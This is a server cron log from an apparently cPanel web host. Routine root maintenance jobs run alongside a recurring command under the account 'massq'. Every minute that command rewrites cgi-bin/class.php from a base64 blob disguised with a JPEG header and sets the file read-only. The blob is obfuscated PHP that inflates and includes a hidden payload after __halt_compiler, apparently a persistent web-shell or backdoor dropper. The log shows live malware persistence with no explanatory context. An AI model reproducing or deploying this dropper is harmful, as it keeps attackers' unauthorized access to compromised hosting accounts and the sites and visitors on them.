Sep  2 09:44:01 server CROND[1001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:44:01 server CROND[1002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:44:01 server CROND[1003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:45:01 server CROND[1509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:45:01 server CROND[1511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:45:01 server CROND[1512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:45:01 server CROND[1513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:45:01 server CROND[1514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:45:01 server CROND[1516]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:45:01 server CROND[1515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:46:01 server CROND[2392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:46:01 server CROND[2394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:46:01 server CROND[2393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:47:01 server CROND[2816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:47:01 server CROND[2817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:47:01 server CROND[2818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:48:01 server CROND[3208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:48:01 server CROND[3209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:48:01 server CROND[3211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:49:01 server CROND[3680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:49:01 server CROND[3681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:49:01 server CROND[3682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:50:01 server CROND[4124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:50:01 server CROND[4126]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:50:01 server CROND[4129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:50:01 server CROND[4130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:50:01 server CROND[4131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:50:01 server CROND[4132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:50:01 server CROND[4134]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 09:50:01 server CROND[4135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:50:01 server CROND[4133]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:51:01 server CROND[4984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:51:01 server CROND[4985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:51:01 server CROND[4986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:52:01 server CROND[5382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:52:01 server CROND[5383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:52:01 server CROND[5384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:53:01 server CROND[5767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:53:01 server CROND[5768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:53:01 server CROND[5769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:54:01 server CROND[6294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:54:01 server CROND[6295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:54:01 server CROND[6296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:55:01 server CROND[6688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:55:01 server CROND[6692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:55:01 server CROND[6690]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:55:01 server CROND[6695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:55:01 server CROND[6693]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:55:01 server CROND[6691]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:55:01 server CROND[6694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
